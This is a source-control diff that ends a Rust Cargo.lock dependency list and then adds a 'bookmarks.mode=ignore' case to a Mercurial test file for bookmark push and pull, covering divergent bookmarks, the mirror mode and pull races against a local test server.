1001 999 version = "0.8.2"
1002 1000 source = "registry+https://github.com/rust-lang/crates.io-index"
1003 1001 checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191"
1004 1002
1005 1003 [[package]]
1006 1004 name = "version_check"
1007 1005 version = "0.9.2"
1008 1006 source = "registry+https://github.com/rust-lang/crates.io-index"
1009 1007 checksum = "b5a972e5669d67ba988ce3dc826706fb0a8b01471c088cb0b6110b805cc36aed"
1010 1008
1011 1009 [[package]]
1012 1010 name = "wasi"
1013 1011 version = "0.9.0+wasi-snapshot-preview1"
1014 1012 source = "registry+https://github.com/rust-lang/crates.io-index"
1015 1013 checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519"
1016 1014
1017 1015 [[package]]
1018 1016 name = "wasi"
1019 1017 version = "0.10.0+wasi-snapshot-preview1"
1020 1018 source = "registry+https://github.com/rust-lang/crates.io-index"
1021 1019 checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f"
1022 1020
1023 1021 [[package]]
1024 1022 name = "winapi"
1025 1023 version = "0.3.9"
1026 1024 source = "registry+https://github.com/rust-lang/crates.io-index"
1027 1025 checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
1028 1026 dependencies = [
1029 1027 "winapi-i686-pc-windows-gnu",
1030 1028 "winapi-x86_64-pc-windows-gnu",
1031 1029 ]
1032 1030
1033 1031 [[package]]
1034 1032 name = "winapi-i686-pc-windows-gnu"
1035 1033 version = "0.4.0"
1036 1034 source = "registry+https://github.com/rust-lang/crates.io-index"
1037 1035 checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
1038 1036
1039 1037 [[package]]
1040 1038 name = "winapi-util"
1041 1039 version = "0.1.5"
1042 1040 source = "registry+https://github.com/rust-lang/crates.io-index"
1043 1041 checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
1044 1042 dependencies = [
1045 1043 "winapi",
1046 1044 ]
1047 1045
1048 1046 [[package]]
1049 1047 name = "winapi-x86_64-pc-windows-gnu"
1050 1048 version = "0.4.0"
1051 1049 source = "registry+https://github.com/rust-lang/crates.io-index"
1052 1050 checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
1053 1051
1054 1052 [[package]]
1055 1053 name = "zstd"
1056 1054 version = "0.5.3+zstd.1.4.5"
1057 1055 source = "registry+https://github.com/rust-lang/crates.io-index"
1058 1056 checksum = "01b32eaf771efa709e8308605bbf9319bf485dc1503179ec0469b611937c0cd8"
1059 1057 dependencies = [
1060 1058 "zstd-safe",
1061 1059 ]
1062 1060
1063 1061 [[package]]
1064 1062 name = "zstd-safe"
1065 1063 version = "2.0.5+zstd.1.4.5"
1066 1064 source = "registry+https://github.com/rust-lang/crates.io-index"
1067 1065 checksum = "1cfb642e0d27f64729a639c52db457e0ae906e7bc6f5fe8f5c453230400f1055"
1068 1066 dependencies = [
1069 1067 "libc",
1070 1068 "zstd-sys",
1071 1069 ]
1072 1070
1073 1071 [[package]]
1074 1072 name = "zstd-sys"
1075 1073 version = "1.4.17+zstd.1.4.5"
1076 1074 source = "registry+https://github.com/rust-lang/crates.io-index"
1077 1075 checksum = "b89249644df056b522696b1bb9e7c18c87e8ffa3e2f0dc3b0155875d6498f01b"
1078 1076 dependencies = [
1079 1077 "cc",
1080 1078 "glob",
1081 1079 "itertools",
1082 1080 "libc",
1083 1081 ]
@@ -1,1437 +1,1452
1 1 #testcases b2-pushkey b2-binary
2 2
3 3 #if b2-pushkey
4 4 $ cat << EOF >> $HGRCPATH
5 5 > [devel]
6 6 > legacy.exchange=bookmarks
7 7 > EOF
8 8 #endif
9 9
10 10 #require serve
11 11
12 12 $ cat << EOF >> $HGRCPATH
13 13 > [command-templates]
14 14 > log={rev}:{node|short} {desc|firstline}
15 15 > [phases]
16 16 > publish=False
17 17 > [experimental]
18 18 > evolution.createmarkers=True
19 19 > evolution.exchange=True
20 20 > EOF
21 21
22 22 $ cat > $TESTTMP/hook.sh <<'EOF'
23 23 > echo "test-hook-bookmark: $HG_BOOKMARK: $HG_OLDNODE -> $HG_NODE"
24 24 > EOF
25 25 $ TESTHOOK="hooks.txnclose-bookmark.test=sh $TESTTMP/hook.sh"
26 26
27 27 initialize
28 28
29 29 $ hg init a
30 30 $ cd a
31 31 $ echo 'test' > test
32 32 $ hg commit -Am'test'
33 33 adding test
34 34
35 35 set bookmarks
36 36
37 37 $ hg bookmark X
38 38 $ hg bookmark Y
39 39 $ hg bookmark Z
40 40
41 41 import bookmark by name
42 42
43 43 $ hg init ../b
44 44 $ cd ../b
45 45 $ hg book Y
46 46 $ hg book
47 47 * Y -1:000000000000
48 48 $ hg pull ../a --config "$TESTHOOK"
49 49 pulling from ../a
50 50 requesting all changes
51 51 adding changesets
52 52 adding manifests
53 53 adding file changes
54 54 adding remote bookmark X
55 55 updating bookmark Y
56 56 adding remote bookmark Z
57 57 added 1 changesets with 1 changes to 1 files
58 58 new changesets 4e3505fd9583 (1 drafts)
59 59 test-hook-bookmark: X: -> 4e3505fd95835d721066b76e75dbb8cc554d7f77
60 60 test-hook-bookmark: Y: 0000000000000000000000000000000000000000 -> 4e3505fd95835d721066b76e75dbb8cc554d7f77
61 61 test-hook-bookmark: Z: -> 4e3505fd95835d721066b76e75dbb8cc554d7f77
62 62 (run 'hg update' to get a working copy)
63 63 $ hg bookmarks
64 64 X 0:4e3505fd9583
65 65 * Y 0:4e3505fd9583
66 66 Z 0:4e3505fd9583
67 67 $ hg debugpushkey ../a namespaces
68 68 bookmarks
69 69 namespaces
70 70 obsolete
71 71 phases
72 72 $ hg debugpushkey ../a bookmarks
73 73 X 4e3505fd95835d721066b76e75dbb8cc554d7f77
74 74 Y 4e3505fd95835d721066b76e75dbb8cc554d7f77
75 75 Z 4e3505fd95835d721066b76e75dbb8cc554d7f77
76 76
77 77 delete the bookmark to re-pull it
78 78
79 79 $ hg book -d X
80 80 $ hg pull -B X ../a
81 81 pulling from ../a
82 82 no changes found
83 83 adding remote bookmark X
84 84
85 85 finally no-op pull
86 86
87 87 $ hg pull -B X ../a
88 88 pulling from ../a
89 89 no changes found
90 90 $ hg bookmark
91 91 X 0:4e3505fd9583
92 92 * Y 0:4e3505fd9583
93 93 Z 0:4e3505fd9583
94 94
95 95 export bookmark by name
96 96
97 97 $ hg bookmark W
98 98 $ hg bookmark foo
99 99 $ hg bookmark foobar
100 100 $ hg push -B W ../a
101 101 pushing to ../a
102 102 searching for changes
103 103 no changes found
104 104 exporting bookmark W
105 105 [1]
106 106 $ hg -R ../a bookmarks
107 107 W -1:000000000000
108 108 X 0:4e3505fd9583
109 109 Y 0:4e3505fd9583
110 110 * Z 0:4e3505fd9583
111 111
112 112 delete a remote bookmark
113 113
114 114 $ hg book -d W
115 115
116 116 #if b2-pushkey
117 117
118 118 $ hg push -B W ../a --config "$TESTHOOK" --debug --config devel.bundle2.debug=yes
119 119 pushing to ../a
120 120 query 1; heads
121 121 searching for changes
122 122 all remote heads known locally
123 123 listing keys for "phases"
124 124 checking for updated bookmarks
125 125 listing keys for "bookmarks"
126 126 no changes found
127 127 bundle2-output-bundle: "HG20", 4 parts total
128 128 bundle2-output: start emission of HG20 stream
129 129 bundle2-output: bundle parameter:
130 130 bundle2-output: start of parts
131 131 bundle2-output: bundle part: "replycaps"
132 132 bundle2-output-part: "replycaps" 224 bytes payload
133 133 bundle2-output: part 0: "REPLYCAPS"
134 134 bundle2-output: header chunk size: 16
135 135 bundle2-output: payload chunk size: 224
136 136 bundle2-output: closing payload chunk
137 137 bundle2-output: bundle part: "check:bookmarks"
138 138 bundle2-output-part: "check:bookmarks" 23 bytes payload
139 139 bundle2-output: part 1: "CHECK:BOOKMARKS"
140 140 bundle2-output: header chunk size: 22
141 141 bundle2-output: payload chunk size: 23
142 142 bundle2-output: closing payload chunk
143 143 bundle2-output: bundle part: "check:phases"
144 144 bundle2-output-part: "check:phases" 24 bytes payload
145 145 bundle2-output: part 2: "CHECK:PHASES"
146 146 bundle2-output: header chunk size: 19
147 147 bundle2-output: payload chunk size: 24
148 148 bundle2-output: closing payload chunk
149 149 bundle2-output: bundle part: "pushkey"
150 150 bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
151 151 bundle2-output: part 3: "PUSHKEY"
152 152 bundle2-output: header chunk size: 90
153 153 bundle2-output: closing payload chunk
154 154 bundle2-output: end of bundle
155 155 bundle2-input: start processing of HG20 stream
156 156 bundle2-input: reading bundle2 stream parameters
157 157 bundle2-input-bundle: with-transaction
158 158 bundle2-input: start extraction of bundle2 parts
159 159 bundle2-input: part header size: 16
160 160 bundle2-input: part type: "REPLYCAPS"
161 161 bundle2-input: part id: "0"
162 162 bundle2-input: part parameters: 0
163 163 bundle2-input: found a handler for part replycaps
164 164 bundle2-input-part: "replycaps" supported
165 165 bundle2-input: payload chunk size: 224
166 166 bundle2-input: payload chunk size: 0
167 167 bundle2-input-part: total payload size 224
168 168 bundle2-input: part header size: 22
169 169 bundle2-input: part type: "CHECK:BOOKMARKS"
170 170 bundle2-input: part id: "1"
171 171 bundle2-input: part parameters: 0
172 172 bundle2-input: found a handler for part check:bookmarks
173 173 bundle2-input-part: "check:bookmarks" supported
174 174 bundle2-input: payload chunk size: 23
175 175 bundle2-input: payload chunk size: 0
176 176 bundle2-input-part: total payload size 23
177 177 bundle2-input: part header size: 19
178 178 bundle2-input: part type: "CHECK:PHASES"
179 179 bundle2-input: part id: "2"
180 180 bundle2-input: part parameters: 0
181 181 bundle2-input: found a handler for part check:phases
182 182 bundle2-input-part: "check:phases" supported
183 183 bundle2-input: payload chunk size: 24
184 184 bundle2-input: payload chunk size: 0
185 185 bundle2-input-part: total payload size 24
186 186 bundle2-input: part header size: 90
187 187 bundle2-input: part type: "PUSHKEY"
188 188 bundle2-input: part id: "3"
189 189 bundle2-input: part parameters: 4
190 190 bundle2-input: found a handler for part pushkey
191 191 bundle2-input-part: "pushkey" (params: 4 mandatory) supported
192 192 pushing key for "bookmarks:W"
193 193 bundle2-input: payload chunk size: 0
194 194 bundle2-input: part header size: 0
195 195 bundle2-input: end of bundle2 stream
196 196 bundle2-input-bundle: 4 parts total
197 197 running hook txnclose-bookmark.test: sh $TESTTMP/hook.sh
198 198 test-hook-bookmark: W: 0000000000000000000000000000000000000000 ->
199 199 bundle2-output-bundle: "HG20", 1 parts total
200 200 bundle2-output: start emission of HG20 stream
201 201 bundle2-output: bundle parameter:
202 202 bundle2-output: start of parts
203 203 bundle2-output: bundle part: "reply:pushkey"
204 204 bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
205 205 bundle2-output: part 0: "REPLY:PUSHKEY"
206 206 bundle2-output: header chunk size: 43
207 207 bundle2-output: closing payload chunk
208 208 bundle2-output: end of bundle
209 209 bundle2-input: start processing of HG20 stream
210 210 bundle2-input: reading bundle2 stream parameters
211 211 bundle2-input-bundle: no-transaction
212 212 bundle2-input: start extraction of bundle2 parts
213 213 bundle2-input: part header size: 43
214 214 bundle2-input: part type: "REPLY:PUSHKEY"
215 215 bundle2-input: part id: "0"
216 216 bundle2-input: part parameters: 2
217 217 bundle2-input: found a handler for part reply:pushkey
218 218 bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
219 219 bundle2-input: payload chunk size: 0
220 220 bundle2-input: part header size: 0
221 221 bundle2-input: end of bundle2 stream
222 222 bundle2-input-bundle: 1 parts total
223 223 deleting remote bookmark W
224 224 listing keys for "phases"
225 225 [1]
226 226
227 227 #endif
228 228 #if b2-binary
229 229
230 230 $ hg push -B W ../a --config "$TESTHOOK" --debug --config devel.bundle2.debug=yes
231 231 pushing to ../a
232 232 query 1; heads
233 233 searching for changes
234 234 all remote heads known locally
235 235 listing keys for "phases"
236 236 checking for updated bookmarks
237 237 listing keys for "bookmarks"
238 238 no changes found
239 239 bundle2-output-bundle: "HG20", 4 parts total
240 240 bundle2-output: start emission of HG20 stream
241 241 bundle2-output: bundle parameter:
242 242 bundle2-output: start of parts
243 243 bundle2-output: bundle part: "replycaps"
244 244 bundle2-output-part: "replycaps" 224 bytes payload
245 245 bundle2-output: part 0: "REPLYCAPS"
246 246 bundle2-output: header chunk size: 16
247 247 bundle2-output: payload chunk size: 224
248 248 bundle2-output: closing payload chunk
249 249 bundle2-output: bundle part: "check:bookmarks"
250 250 bundle2-output-part: "check:bookmarks" 23 bytes payload
251 251 bundle2-output: part 1: "CHECK:BOOKMARKS"
252 252 bundle2-output: header chunk size: 22
253 253 bundle2-output: payload chunk size: 23
254 254 bundle2-output: closing payload chunk
255 255 bundle2-output: bundle part: "check:phases"
256 256 bundle2-output-part: "check:phases" 24 bytes payload
257 257 bundle2-output: part 2: "CHECK:PHASES"
258 258 bundle2-output: header chunk size: 19
259 259 bundle2-output: payload chunk size: 24
260 260 bundle2-output: closing payload chunk
261 261 bundle2-output: bundle part: "bookmarks"
262 262 bundle2-output-part: "bookmarks" 23 bytes payload
263 263 bundle2-output: part 3: "BOOKMARKS"
264 264 bundle2-output: header chunk size: 16
265 265 bundle2-output: payload chunk size: 23
266 266 bundle2-output: closing payload chunk
267 267 bundle2-output: end of bundle
268 268 bundle2-input: start processing of HG20 stream
269 269 bundle2-input: reading bundle2 stream parameters
270 270 bundle2-input-bundle: with-transaction
271 271 bundle2-input: start extraction of bundle2 parts
272 272 bundle2-input: part header size: 16
273 273 bundle2-input: part type: "REPLYCAPS"
274 274 bundle2-input: part id: "0"
275 275 bundle2-input: part parameters: 0
276 276 bundle2-input: found a handler for part replycaps
277 277 bundle2-input-part: "replycaps" supported
278 278 bundle2-input: payload chunk size: 224
279 279 bundle2-input: payload chunk size: 0
280 280 bundle2-input-part: total payload size 224
281 281 bundle2-input: part header size: 22
282 282 bundle2-input: part type: "CHECK:BOOKMARKS"
283 283 bundle2-input: part id: "1"
284 284 bundle2-input: part parameters: 0
285 285 bundle2-input: found a handler for part check:bookmarks
286 286 bundle2-input-part: "check:bookmarks" supported
287 287 bundle2-input: payload chunk size: 23
288 288 bundle2-input: payload chunk size: 0
289 289 bundle2-input-part: total payload size 23
290 290 bundle2-input: part header size: 19
291 291 bundle2-input: part type: "CHECK:PHASES"
292 292 bundle2-input: part id: "2"
293 293 bundle2-input: part parameters: 0
294 294 bundle2-input: found a handler for part check:phases
295 295 bundle2-input-part: "check:phases" supported
296 296 bundle2-input: payload chunk size: 24
297 297 bundle2-input: payload chunk size: 0
298 298 bundle2-input-part: total payload size 24
299 299 bundle2-input: part header size: 16
300 300 bundle2-input: part type: "BOOKMARKS"
301 301 bundle2-input: part id: "3"
302 302 bundle2-input: part parameters: 0
303 303 bundle2-input: found a handler for part bookmarks
304 304 bundle2-input-part: "bookmarks" supported
305 305 bundle2-input: payload chunk size: 23
306 306 bundle2-input: payload chunk size: 0
307 307 bundle2-input-part: total payload size 23
308 308 bundle2-input: part header size: 0
309 309 bundle2-input: end of bundle2 stream
310 310 bundle2-input-bundle: 4 parts total
311 311 running hook txnclose-bookmark.test: sh $TESTTMP/hook.sh
312 312 test-hook-bookmark: W: 0000000000000000000000000000000000000000 ->
313 313 bundle2-output-bundle: "HG20", 0 parts total
314 314 bundle2-output: start emission of HG20 stream
315 315 bundle2-output: bundle parameter:
316 316 bundle2-output: start of parts
317 317 bundle2-output: end of bundle
318 318 bundle2-input: start processing of HG20 stream
319 319 bundle2-input: reading bundle2 stream parameters
320 320 bundle2-input-bundle: no-transaction
321 321 bundle2-input: start extraction of bundle2 parts
322 322 bundle2-input: part header size: 0
323 323 bundle2-input: end of bundle2 stream
324 324 bundle2-input-bundle: 0 parts total
325 325 deleting remote bookmark W
326 326 listing keys for "phases"
327 327 [1]
328 328
329 329 #endif
330 330
331 331 Divergent bookmark cannot be exported
332 332
333 333 $ hg book W@default
334 334 $ hg push -B W@default ../a
335 335 pushing to ../a
336 336 searching for changes
337 337 cannot push divergent bookmark W@default!
338 338 no changes found
339 339 [2]
340 340 $ hg book -d W@default
341 341
342 342 export the active bookmark
343 343
344 344 $ hg bookmark V
345 345 $ hg push -B . ../a
346 346 pushing to ../a
347 347 searching for changes
348 348 no changes found
349 349 exporting bookmark V
350 350 [1]
351 351
352 352 exporting the active bookmark with 'push -B .'
353 353 demand that one of the bookmarks is activated
354 354
355 355 $ hg update -r default
356 356 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
357 357 (leaving bookmark V)
358 358 $ hg push -B . ../a
359 359 abort: no active bookmark
360 360 [255]
361 361 $ hg update -r V
362 362 0 files updated, 0 files merged, 1 files removed, 0 files unresolved
363 363 (activating bookmark V)
364 364
365 365 delete the bookmark
366 366
367 367 $ hg book -d V
368 368 $ hg push -B V ../a
369 369 pushing to ../a
370 370 searching for changes
371 371 no changes found
372 372 deleting remote bookmark V
373 373 [1]
374 374 $ hg up foobar
375 375 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
376 376 (activating bookmark foobar)
377 377
378 378 push/pull name that doesn't exist
379 379
380 380 $ hg push -B badname ../a
381 381 pushing to ../a
382 382 searching for changes
383 383 bookmark badname does not exist on the local or remote repository!
384 384 no changes found
385 385 [2]
386 386 $ hg pull -B anotherbadname ../a
387 387 pulling from ../a
388 388 abort: remote bookmark anotherbadname not found!
389 389 [10]
390 390
391 391 divergent bookmarks
392 392
393 393 $ cd ../a
394 394 $ echo c1 > f1
395 395 $ hg ci -Am1
396 396 adding f1
397 397 $ hg book -f @
398 398 $ hg book -f X
399 399 $ hg book
400 400 @ 1:0d2164f0ce0d
401 401 * X 1:0d2164f0ce0d
402 402 Y 0:4e3505fd9583
403 403 Z 1:0d2164f0ce0d
404 404
405 405 $ cd ../b
406 406 $ hg up
407 407 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
408 408 updating bookmark foobar
409 409 $ echo c2 > f2
410 410 $ hg ci -Am2
411 411 adding f2
412 412 $ hg book -if @
413 413 $ hg book -if X
414 414 $ hg book
415 415 @ 1:9b140be10808
416 416 X 1:9b140be10808
417 417 Y 0:4e3505fd9583
418 418 Z 0:4e3505fd9583
419 419 foo -1:000000000000
420 420 * foobar 1:9b140be10808
421 421
422 422 $ hg pull --config paths.foo=../a foo --config "$TESTHOOK"
423 423 pulling from $TESTTMP/a
424 424 searching for changes
425 425 adding changesets
426 426 adding manifests
427 427 adding file changes
428 428 divergent bookmark @ stored as @foo
429 429 divergent bookmark X stored as X@foo
430 430 updating bookmark Z
431 431 added 1 changesets with 1 changes to 1 files (+1 heads)
432 432 new changesets 0d2164f0ce0d (1 drafts)
433 433 test-hook-bookmark: @foo: -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
434 434 test-hook-bookmark: X@foo: -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
435 435 test-hook-bookmark: Z: 4e3505fd95835d721066b76e75dbb8cc554d7f77 -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
436 436 (run 'hg heads' to see heads, 'hg merge' to merge)
437 437 $ hg book
438 438 @ 1:9b140be10808
439 439 @foo 2:0d2164f0ce0d
440 440 X 1:9b140be10808
441 441 X@foo 2:0d2164f0ce0d
442 442 Y 0:4e3505fd9583
443 443 Z 2:0d2164f0ce0d
444 444 foo -1:000000000000
445 445 * foobar 1:9b140be10808
446 446
447 447 (test that too many divergence of bookmark)
448 448
449 449 $ "$PYTHON" $TESTDIR/seq.py 1 100 | while read i; do hg bookmarks -r 000000000000 "X@${i}"; done
450 450 $ hg pull ../a
451 451 pulling from ../a
452 452 searching for changes
453 453 no changes found
454 454 warning: failed to assign numbered name to divergent bookmark X
455 455 divergent bookmark @ stored as @1
456 456 $ hg bookmarks | grep '^ X' | grep -v ':000000000000'
457 457 X 1:9b140be10808
458 458 X@foo 2:0d2164f0ce0d
459 459
460 460 (test that remotely diverged bookmarks are reused if they aren't changed)
461 461
462 462 $ hg bookmarks | grep '^ @'
463 463 @ 1:9b140be10808
464 464 @1 2:0d2164f0ce0d
465 465 @foo 2:0d2164f0ce0d
466 466 $ hg pull ../a
467 467 pulling from ../a
468 468 searching for changes
469 469 no changes found
470 470 warning: failed to assign numbered name to divergent bookmark X
471 471 divergent bookmark @ stored as @1
472 472 $ hg bookmarks | grep '^ @'
473 473 @ 1:9b140be10808
474 474 @1 2:0d2164f0ce0d
475 475 @foo 2:0d2164f0ce0d
476 476
477 477 $ "$PYTHON" $TESTDIR/seq.py 1 100 | while read i; do hg bookmarks -d "X@${i}"; done
478 478 $ hg bookmarks -d "@1"
479 479
480 480 $ hg push -f ../a
481 481 pushing to ../a
482 482 searching for changes
483 483 adding changesets
484 484 adding manifests
485 485 adding file changes
486 486 added 1 changesets with 1 changes to 1 files (+1 heads)
487 487 $ hg -R ../a book
488 488 @ 1:0d2164f0ce0d
489 489 * X 1:0d2164f0ce0d
490 490 Y 0:4e3505fd9583
491 491 Z 1:0d2164f0ce0d
492 492
493 493 mirroring bookmarks
494 494
495 495 $ hg book
496 496 @ 1:9b140be10808
497 497 @foo 2:0d2164f0ce0d
498 498 X 1:9b140be10808
499 499 X@foo 2:0d2164f0ce0d
500 500 Y 0:4e3505fd9583
501 501 Z 2:0d2164f0ce0d
502 502 foo -1:000000000000
503 503 * foobar 1:9b140be10808
504 504 $ cp .hg/bookmarks .hg/bookmarks.bak
505 505 $ hg book -d X
506 506 $ hg incoming --bookmark -v ../a
507 507 comparing with ../a
508 508 searching for changed bookmarks
509 509 @ 0d2164f0ce0d diverged
510 510 X 0d2164f0ce0d added
511 511 $ hg incoming --bookmark -v ../a --config 'paths.*:bookmarks.mode=babar'
512 512 (paths.*:bookmarks.mode has unknown value: "babar")
513 513 comparing with ../a
514 514 searching for changed bookmarks
515 515 @ 0d2164f0ce0d diverged
516 516 X 0d2164f0ce0d added
517 517 $ hg incoming --bookmark -v ../a --config 'paths.*:bookmarks.mode=mirror'
518 518 comparing with ../a
519 519 searching for changed bookmarks
520 520 @ 0d2164f0ce0d changed
521 521 @foo 000000000000 removed
522 522 X 0d2164f0ce0d added
523 523 X@foo 000000000000 removed
524 524 foo 000000000000 removed
525 525 foobar 000000000000 removed
526 $ hg incoming --bookmark -v ../a --config 'paths.*:bookmarks.mode=ignore'
527 comparing with ../a
528 bookmarks exchange disabled with this path
529 $ hg pull ../a --config 'paths.*:bookmarks.mode=ignore'
530 pulling from ../a
531 searching for changes
532 no changes found
533 $ hg book
534 @ 1:9b140be10808
535 @foo 2:0d2164f0ce0d
536 X@foo 2:0d2164f0ce0d
537 Y 0:4e3505fd9583
538 Z 2:0d2164f0ce0d
539 foo -1:000000000000
540 * foobar 1:9b140be10808
526 541 $ hg pull ../a --config 'paths.*:bookmarks.mode=mirror'
527 542 pulling from ../a
528 543 searching for changes
529 544 no changes found
530 545 $ hg book
531 546 @ 2:0d2164f0ce0d
532 547 X 2:0d2164f0ce0d
533 548 Y 0:4e3505fd9583
534 549 Z 2:0d2164f0ce0d
535 550 $ mv .hg/bookmarks.bak .hg/bookmarks
536 551
537 552 explicit pull should overwrite the local version (issue4439)
538 553
539 554 $ hg update -r X
540 555 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
541 556 (activating bookmark X)
542 557 $ hg pull --config paths.foo=../a foo -B . --config "$TESTHOOK"
543 558 pulling from $TESTTMP/a
544 559 no changes found
545 560 divergent bookmark @ stored as @foo
546 561 importing bookmark X
547 562 test-hook-bookmark: @foo: 0d2164f0ce0d8f1d6f94351eba04b794909be66c -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
548 563 test-hook-bookmark: X: 9b140be1080824d768c5a4691a564088eede71f9 -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
549 564
550 565 reinstall state for further testing:
551 566
552 567 $ hg book -fr 9b140be10808 X
553 568
554 569 revsets should not ignore divergent bookmarks
555 570
556 571 $ hg bookmark -fr 1 Z
557 572 $ hg log -r 'bookmark()' --template '{rev}:{node|short} {bookmarks}\n'
558 573 0:4e3505fd9583 Y
559 574 1:9b140be10808 @ X Z foobar
560 575 2:0d2164f0ce0d @foo X@foo
561 576 $ hg log -r 'bookmark("X@foo")' --template '{rev}:{node|short} {bookmarks}\n'
562 577 2:0d2164f0ce0d @foo X@foo
563 578 $ hg log -r 'bookmark("re:X@foo")' --template '{rev}:{node|short} {bookmarks}\n'
564 579 2:0d2164f0ce0d @foo X@foo
565 580
566 581 update a remote bookmark from a non-head to a head
567 582
568 583 $ hg up -q Y
569 584 $ echo c3 > f2
570 585 $ hg ci -Am3
571 586 adding f2
572 587 created new head
573 588 $ hg push ../a --config "$TESTHOOK"
574 589 pushing to ../a
575 590 searching for changes
576 591 adding changesets
577 592 adding manifests
578 593 adding file changes
579 594 added 1 changesets with 1 changes to 1 files (+1 heads)
580 595 test-hook-bookmark: Y: 4e3505fd95835d721066b76e75dbb8cc554d7f77 -> f6fc62dde3c0771e29704af56ba4d8af77abcc2f
581 596 updating bookmark Y
582 597 $ hg -R ../a book
583 598 @ 1:0d2164f0ce0d
584 599 * X 1:0d2164f0ce0d
585 600 Y 3:f6fc62dde3c0
586 601 Z 1:0d2164f0ce0d
587 602
588 603 update a bookmark in the middle of a client pulling changes
589 604
590 605 $ cd ..
591 606 $ hg clone -q a pull-race
592 607
593 608 We want to use http because it is stateless and therefore more susceptible to
594 609 race conditions
595 610
596 611 $ hg serve -R pull-race -p $HGPORT -d --pid-file=pull-race.pid -E main-error.log
597 612 $ cat pull-race.pid >> $DAEMON_PIDS
598 613
599 614 $ cat <<EOF > $TESTTMP/out_makecommit.sh
600 615 > #!/bin/sh
601 616 > hg ci -Am5
602 617 > echo committed in pull-race
603 618 > EOF
604 619
605 620 $ hg clone -q http://localhost:$HGPORT/ pull-race2 --config "$TESTHOOK"
606 621 test-hook-bookmark: @: -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
607 622 test-hook-bookmark: X: -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
608 623 test-hook-bookmark: Y: -> f6fc62dde3c0771e29704af56ba4d8af77abcc2f
609 624 test-hook-bookmark: Z: -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
610 625 $ cd pull-race
611 626 $ hg up -q Y
612 627 $ echo c4 > f2
613 628 $ hg ci -Am4
614 629 $ echo c5 > f3
615 630 $ cat <<EOF > .hg/hgrc
616 631 > [hooks]
617 632 > outgoing.makecommit = sh $TESTTMP/out_makecommit.sh
618 633 > EOF
619 634
620 635 (new config needs a server restart)
621 636
622 637 $ cd ..
623 638 $ killdaemons.py
624 639 $ hg serve -R pull-race -p $HGPORT -d --pid-file=pull-race.pid -E main-error.log
625 640 $ cat pull-race.pid >> $DAEMON_PIDS
626 641 $ cd pull-race2
627 642 $ hg -R $TESTTMP/pull-race book
628 643 @ 1:0d2164f0ce0d
629 644 X 1:0d2164f0ce0d
630 645 * Y 4:b0a5eff05604
631 646 Z 1:0d2164f0ce0d
632 647 $ hg pull
633 648 pulling from http://localhost:$HGPORT/
634 649 searching for changes
635 650 adding changesets
636 651 adding manifests
637 652 adding file changes
638 653 updating bookmark Y
639 654 added 1 changesets with 1 changes to 1 files
640 655 new changesets b0a5eff05604 (1 drafts)
641 656 (run 'hg update' to get a working copy)
642 657 $ hg book
643 658 * @ 1:0d2164f0ce0d
644 659 X 1:0d2164f0ce0d
645 660 Y 4:b0a5eff05604
646 661 Z 1:0d2164f0ce0d
647 662
648 663 Update a bookmark right after the initial lookup -B (issue4689)
649 664
650 665 $ echo c6 > ../pull-race/f3 # to be committed during the race
651 666 $ cat <<EOF > $TESTTMP/listkeys_makecommit.sh
652 667 > #!/bin/sh
653 668 > if hg st | grep -q M; then
654 669 > hg commit -m race
655 670 > echo committed in pull-race
656 671 > else
657 672 > exit 0
658 673 > fi
659 674 > EOF
660 675 $ cat <<EOF > ../pull-race/.hg/hgrc
661 676 > [hooks]
662 677 > # If anything to commit, commit it right after the first key listing used
663 678 > # during lookup. This makes the commit appear before the actual getbundle
664 679 > # call.
665 680 > listkeys.makecommit= sh $TESTTMP/listkeys_makecommit.sh
666 681 > EOF
667 682 $ restart_server() {
668 683 > "$TESTDIR/killdaemons.py" $DAEMON_PIDS
669 684 > hg serve -R ../pull-race -p $HGPORT -d --pid-file=../pull-race.pid -E main-error.log
670 685 > cat ../pull-race.pid >> $DAEMON_PIDS
671 686 > }
672 687 $ restart_server # new config need server restart
673 688 $ hg -R $TESTTMP/pull-race book
674 689 @ 1:0d2164f0ce0d
675 690 X 1:0d2164f0ce0d
676 691 * Y 5:35d1ef0a8d1b
677 692 Z 1:0d2164f0ce0d
678 693 $ hg update -r Y
679 694 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
680 695 (activating bookmark Y)
681 696 $ hg pull -B .
682 697 pulling from http://localhost:$HGPORT/
683 698 searching for changes
684 699 adding changesets
685 700 adding manifests
686 701 adding file changes
687 702 updating bookmark Y
688 703 added 1 changesets with 1 changes to 1 files
689 704 new changesets 35d1ef0a8d1b (1 drafts)
690 705 (run 'hg update' to get a working copy)
691 706 $ hg book
692 707 @ 1:0d2164f0ce0d
693 708 X 1:0d2164f0ce0d
694 709 * Y 5:35d1ef0a8d1b
695 710 Z 1:0d2164f0ce0d
696 711
697 712 Update a bookmark right after the initial lookup -r (issue4700)
698 713
699 714 $ echo c7 > ../pull-race/f3 # to be committed during the race
700 715 $ cat <<EOF > ../lookuphook.py
701 716 > """small extensions adding a hook after wireprotocol lookup to test race"""
702 717 > import functools
703 718 > from mercurial import wireprotov1server, wireprotov2server
704 719 >
705 720 > def wrappedlookup(orig, repo, *args, **kwargs):
706 721 > ret = orig(repo, *args, **kwargs)
707 722 > repo.hook(b'lookup')
708 723 > return ret
